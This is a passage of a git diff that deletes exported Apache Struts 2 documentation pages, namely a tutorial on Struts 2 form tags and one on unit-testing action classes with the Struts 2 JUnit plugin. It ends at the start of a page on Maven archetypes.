-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 Form Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="struts-2-form-tags.html">Struts 2 Form Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 Form Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19300595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19300595">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19300595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19300595">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19300595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19300595">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, form_tags, can be checked out from <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a>.</p [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:select key="personBean.sport" list="sports" /&gt;
-
-</pre>
-</div></div><p>In these form tags, we are using the key attribute as discussed in the <a shape="rect" href="message-resource-files.html">Message Resource Files</a> tutorial. The key attribute is used by the Struts 2 framework to determine values for the other attributes (e.g. label and value). We are also using a property file associated with the EditAction class to provide the label values based on the key attribute value (see the <a shape="rect" href="message-resource-files.html">Messa [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;tr&gt;
-&lt;td class="tdLabel"&gt;
-&lt;label for="save_personBean_sport" class="label"&gt;Favorite sport:&lt;/label&gt;
-&lt;/td&gt;
-&lt;td&gt;
-&lt;select name="personBean.sport" id="save_personBean_sport"&gt;
-    &lt;option value="football"&gt;football&lt;/option&gt;
-    &lt;option value="baseball"&gt;baseball&lt;/option&gt;
-    &lt;option value="basketball" selected="selected"&gt;basketball&lt;/option&gt;
-&lt;/select&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-</pre>
-</div></div><p>Note the table formatting created by the Struts 2 framework when using the Struts 2 select tag. The CSS classes are defined in style sheets included by the Struts 2 s:head tag. The Struts 2 s:head tag is placed inside the edit.jsp's head section.</p><p>Since the personBean's getSport method returns "baskeball", the basketball option value is marked as selected.</p><h3 id="Struts2FormTags-Struts2RadioTag">Struts 2 Radio Tag</h3><p>The Struts 2 radio tag&#8212;like its stand [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:radio key="personBean.gender" list="genders" /&gt;
-
-</pre>
-</div></div><p>Again the key attribute's value determines the value for the label and value attributes. The label's text is derived from the EditAction.properties file (key personBean.gender). Just like the Struts 2 select tag, the list attribute of the Struts 2 radio tag causes the framework to call the getGenders method of the EditAction class. The Array of String objects returned are used to create the individual radio buttons.</p><div class="code panel pdl" style="border-width: 1px;" [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;tr&gt;
-&lt;td class="tdLabel"&gt;
-&lt;label for="save_personBean_gender" class="label"&gt;Gender:&lt;/label&gt;&lt;/td&gt;
-&lt;td&gt;
-&lt;input type="radio" name="personBean.gender" id="save_personBean_gendermale" value="male"/&gt;&lt;label for="save_personBean_gendermale"&gt;male&lt;/label&gt;
-&lt;input type="radio" name="personBean.gender" id="save_personBean_genderfemale" value="female"/&gt;&lt;label for="save_personBean_genderfemale"&gt;female&lt;/label&gt;
-&lt;input type="radio" name="personBean.gender" id="save_personBean_gendernot sure" checked="checked" value="not sure"/&gt;&lt;label for="save_personBean_gendernot sure"&gt;not sure&lt;/label&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-</pre>
-</div></div><p>Also just like the Struts 2 select tag the result returned by calling the personBean object's getGender method is used to determine which of the radio buttons is checked.</p><h3 id="Struts2FormTags-Struts2SelectTag-ObjectBacked">Struts 2 Select Tag - Object Backed</h3><p>You may need to create a Struts 2 select tag where the options displayed to the user each have their own value that is different then what is displayed. In the example application, the user's residency is  [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:select key="personBean.residency" list="states" listKey="stateAbbr" listValue="stateName" /&gt;
-
-</pre>
-</div></div><p>The list value tells the framework to call the getStates method of the EditAction class. That method returns an ArrayList of State objects. Each State object has getStateAbbr and getStateName methods.</p><p>The listKey attribute tells the framework to use the value returned by calling the getStateAbbr method as the value for the value attribute of the HTML option tag and the value returned by calling the getStateName method as the value displayed to the user. So the above  [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;tr&gt;
-&lt;td class="tdLabel"&gt;
-&lt;label for="save_personBean_residency" class="label"&gt;State resident:&lt;/label&gt;&lt;/td&gt;
-&lt;td&gt;
-&lt;select name="personBean.residency" id="save_personBean_residency"&gt;
-    &lt;option value="AZ"&gt;Arizona&lt;/option&gt;
-    &lt;option value="CA"&gt;California&lt;/option&gt;
-    &lt;option value="FL"&gt;Florida&lt;/option&gt;
-    &lt;option value="KS" selected="selected"&gt;Kansas&lt;/option&gt;
-    &lt;option value="NY"&gt;New York&lt;/option&gt;
-&lt;/select&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-</pre>
-</div></div><p>The value returned by calling the personBean object's getResidency method determines which of the select tag's option tags is marked as selected. In our example, since getResidency returns "KS", the option tag whose value attribute equals "KS" is marked as selected.</p><h3 id="Struts2FormTags-Struts2CheckboxTag">Struts 2 Checkbox Tag</h3><p>The Struts 2 checkbox tag is used to create the HTML input type equals checkbox tag. The value for the key attribute tells the framewo [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:checkbox key="personBean.over21" /&gt;
-
-</pre>
-</div></div><p>Since the method getOver21 returns true, the checkbox is checked.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>HTML Created By Struts 2 Checkbox Tag</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;tr&gt;
-&lt;td valign="top" align="right"&gt;
-&lt;/td&gt;
-&lt;td valign="top" align="left"&gt;
-&lt;input type="checkbox" name="personBean.over21" value="true" checked="checked" id="save_personBean_over21"/&gt;
-&lt;input type="hidden" id="__checkbox_save_personBean_over21" name="__checkbox_personBean.over21" value="true" /&gt;  &lt;label for="save_personBean_over21" class="checkboxLabel"&gt;21 or older&lt;/label&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-</pre>
-</div></div><p>When the form is submitted and the checkbox is not checked, no value will be posted for the checkbox (this is how HTML forms work). Since the Struts 2 framework will need to update the value of the personBean's over21 instance field to false&#8212;given that the check box was not checked&#8212;the framework needs a way to determine if the checkbox was not checked after form submission.</p><p>If you examine the HTML code created by the Struts 2 checkbox tag, you'll see that [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:checkboxlist key="personBean.carModels" list="carModelsAvailable" /&gt;
-
-</pre>
-</div></div><p>The list attributes value in the checkboxlist tag tells the Struts 2 framework which method to call to get the possible car models. In the example application, the framework will call the EditAction class's getCarModelsAvailable method. That method returns an Array of Strings. For each element of the Array, the Struts 2 framework creates a checkbox (including the associated hidden field described above).</p><p>The key attribute value in the checkboxlist tag tells the Strut [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;tr&gt;
-&lt;td class="tdLabel"&gt;
-&lt;label for="save_personBean_carModels" class="label"&gt;Car models owned:&lt;/label&gt;&lt;/td&gt;
-&lt;td&gt;
-&lt;input type="checkbox" name="personBean.carModels" value="Ford" id="personBean.carModels-1" checked="checked"/&gt;
-&lt;label for="personBean.carModels-1" class="checkboxLabel"&gt;Ford&lt;/label&gt;
-&lt;input type="checkbox" name="personBean.carModels" value="Chrysler" id="personBean.carModels-2"/&gt;
-&lt;label for="personBean.carModels-2" class="checkboxLabel"&gt;Chrysler&lt;/label&gt;
-&lt;input type="checkbox" name="personBean.carModels" value="Toyota" id="personBean.carModels-3"/&gt;
-&lt;label for="personBean.carModels-3" class="checkboxLabel"&gt;Toyota&lt;/label&gt;
-&lt;input type="checkbox" name="personBean.carModels" value="Nissan" id="personBean.carModels-4" checked="checked"/&gt;
-&lt;label for="personBean.carModels-4" class="checkboxLabel"&gt;Nissan&lt;/label&gt;
-&lt;input type="hidden" id="__multiselect_save_personBean_carModels" name="__multiselect_personBean.carModels" value="" /&gt;
-&lt;/td&gt;
-&lt;/tr&gt;
-
-</pre>
-</div></div><p>Summary<br clear="none"> There are several other Struts 2 form controls you should explore. If you need more information about the Struts 2 form tags consult the Struts 2 documentation at <a shape="rect" class="external-link" href="http://struts.apache.org">http://struts.apache.org</a>.</p><h3 id="Struts2FormTags-UpNext">Up Next</h3><p>In our next tutorial we'll cover how to use XML to validate a user's form field entries.</p><div class="table-wrap"><table class="confluenc [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-junit-plugin-tutorial.html b/content/docs/struts-2-junit-plugin-tutorial.html
deleted file mode 100644
index a899f59..0000000
--- a/content/docs/struts-2-junit-plugin-tutorial.html
+++ /dev/null
@@ -1,342 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 JUnit Plugin Tutorial</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="struts-2-junit-plugin-tutorial.html">Struts 2 JUnit Plugin Tutorial</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 JUnit Plugin Tutorial</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811898">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811898">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811898">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811898">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811898">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811898">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>When creating unit tests for your Struts 2 application you'll want to be able to test certain aspects of the action class that normally require the action to be running within a Servlet container and the Struts 2 interceptors to have executed.&#160; For example if your Struts 2 action class includes a validate method that checks the values of the instance fields populated by the user's input on a Struts 2 form, you need the interceptors to have  [...]
-
-<p>Struts 2 provides a JUnit plugin library that makes it easier to develop unit tests for testing your Struts 2 action classes.&#160; This tutorial will provide an example of how to use the Struts 2 JUnit plugin.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This tutorial assumes the reader knows how to create a Struts 2 application and how to write unit tests using JUnit.</p></div></div>
-
-
-<p>To use the Struts 2 JUnit plugin, you'll need to have the plugin's Jar file on your application's class path.&#160; If you're using Maven you can add this dependency to your pom.xml.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts 2 JUnit Plugin Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-    &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-junit-plugin&lt;/artifactId&gt;
-    &lt;version&gt;STRUTS_VERSION&lt;/version&gt;
-&lt;/dependency&gt;
-
-</pre>
-</div></div>
-
-<p>Of course replace STRUTS_VERSION with the current Struts 2 version number.</p>
-
-<p>For this tutorial we'll use the following Struts 2 ActionSupport class.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>AccountAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class AccountAction extends ActionSupport {
-
-	private static final long serialVersionUID = 1L;
-
-	private static final Logger logger = Logger.getLogger( AccountAction.class.getName() );
-
-	private Account accountBean;
-
-	public String execute(){
-
-		return SUCCESS;
-
-	}
-
-	public void validate(){
-
-		logger.debug("In method validate. accountBean's state is " + accountBean );
-
-		if ( accountBean.getUserName().length() == 0 ){
-
-			addFieldError( "accountBean.userName", "User name is required." );
-
-		}
-
-		if ( accountBean.getUserName().length() &lt; 5 ) {
-
-			addFieldError( "accountBean.userName", "User name must be at least 5 characters long." );
-
-		}
-
-		if ( accountBean.getUserName().length() &gt; 10 ) {
-
-			addFieldError( "accountBean.userName", "User name cannot be at more than 10 characters long." );
-
-		}
-
-
-	}
-
-	public Account getAccountBean() {
-		return accountBean;
-	}
-
-	public void setAccountBean(Account accountBean) {
-		this.accountBean = accountBean;
-	}
-
-}
-
-
-</pre>
-</div></div>
-
-<p>The above action class is called after a user enters information on a create account form.  Struts takes the user's input on the form fields and uses those values to populate the state of the Account object (accountBean).</p>
-
-<p>Then the validate method is executed to check the values of the accountBean's instance fields against certain business rules (for example the length of the username cannot be more than 10).</p>
-
-<p>To test the validate method we can use the Struts 2 JUnit plugin to simulate the Servlet container and Struts 2 framework. Our Junit test class just needs to extend the StrutsTestCase.  The StrutsTestCase class is part of the Strut 2 JUnit Plugin library.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>JUnit Test Case For Struts Action Class</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class TestAccountActionUsingStrutsTestCase extends StrutsTestCase {
-
-    public void testUserNameErrorMessage() throws Exception {
-
-    	request.setParameter("accountBean.userName", "Bruc");
-    	request.setParameter("accountBean.password", "test");
-
-    	ActionProxy proxy = getActionProxy("/createaccount");
-
-    	AccountAction accountAction = (AccountAction) proxy.getAction();
-
-        proxy.execute();
-
-        assertTrue("Problem There were no errors present in fieldErrors but there should have been one error present", accountAction.getFieldErrors().size() == 1);
-		assertTrue("Problem field account.userName not present in fieldErrors but it should have been",
-				accountAction.getFieldErrors().containsKey("accountBean.userName") );
-
-    }
-
-    public void testUserNameCorrect() throws Exception {
-
-    	request.setParameter("accountBean.userName", "Bruce");
-    	request.setParameter("accountBean.password", "test");
-
-    	ActionProxy proxy = getActionProxy("/createaccount");
-
-    	AccountAction accountAction = (AccountAction) proxy.getAction();
-
-        String result = proxy.execute();
-
-        assertTrue("Problem There were errors present in fieldErrors but there should not have been any errors present", accountAction.getFieldErrors().size() == 0);
-        assertEquals("Result returned form executing the action was not success but it should have been.", "success", result);
-
-    }
-
-}
-
-
-</pre>
-</div></div>
-
-<p>The request object above is a MockHttpServletRequest provided by the StrutsTestCase class.  We can use this mock Servlet Request object to set values on the request scope as if the user had typed those values into a Struts 2 form input fields.  Those values will then be available to the Struts 2 action class.</p>
-
-<p>We then create a proxy of the createaccount action.  This action is defined in struts.xml as follows.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="createaccount" class="edu.ku.it.si.struts2_junit_example.action.AccountAction"&gt;
-	&lt;result&gt;/thankyou.jsp&lt;/result&gt;
-	&lt;result name="input"&gt;/createaccount.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-</pre>
-</div></div>
-
-<p>When we run this test, the proxy of the createaccount action will be executed which will cause the Struts 2 interceptors to fire (so the request scope values will be assigned to the correct Action class instance fields) and then the validate method will be executed.</p>
-
-<p>The two test methods above are used to test the action's validate method when the username doesn't meet the business requirements (too few characters) and when the username does meet the business requirements.</p>
-
-<p>Note in the second test method where we have the statement: </p>
-
-<p><code>String result = proxy.execute();</code></p>
-
-<p>This statement stores the result returned by the Action class (e.g. "success") which we can then use in an assert statement to test if the result is what it should be.</p>
-
-<p><code>assertEquals("Result returned form executing the action was not success but it should have been.", "success", result);</code></p>
-
-<h3 id="Struts2JUnitPluginTutorial-TestingaStrutsactionagainstacustomStrutsconfigurationfile">Testing a Struts action against a custom Struts configuration file</h3>
-
-<p>Override <code>getConfigPath</code> method to return a comma separated list of paths to a configuration file.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Specify Struts Configuration File Location Example</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-    @Override
-    protected String getConfigPath() {
-        return "struts-test.xml";
-    }
-
-</pre>
-</div></div>
-
-<h3 id="Struts2JUnitPluginTutorial-TestingAStrutsActionWhenUsingSpring">Testing A Struts Action When Using Spring</h3>
-
-<p>If your Struts application is using Spring to manage class relationships and you want test your Struts action class with the Spring container, then have your test class extend <code>StrutsSpringTestCase</code> instead of <code>StrutsTestCase</code>.  </p>
-
-<p>The <code>StrutsSpringTestCase</code> class expects your Spring configuration file to be loaded from <code>classpath:applicationContext.xml</code> (configuration file named applicationContext.xml and in the root of the class path).  If your Spring configuration file has a different name or location, in your test class override method:</p>
-
-<p> <code>protected java.lang.String getContextLocations()</code></p>
-
-<p>For example:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Specify Spring Configuration File Location Example</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-
-@Override
-public String getContextLocations() {
-		
-  return "edu/ku/it/si/tutorial/action/TestAccountAction-context.xml";
-
-}
-
-</pre>
-</div></div>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-maven-archetypes.html b/content/docs/struts-2-maven-archetypes.html
deleted file mode 100644
index 2d0624e..0000000
--- a/content/docs/struts-2-maven-archetypes.html
+++ /dev/null
@@ -1,457 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 Maven Archetypes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
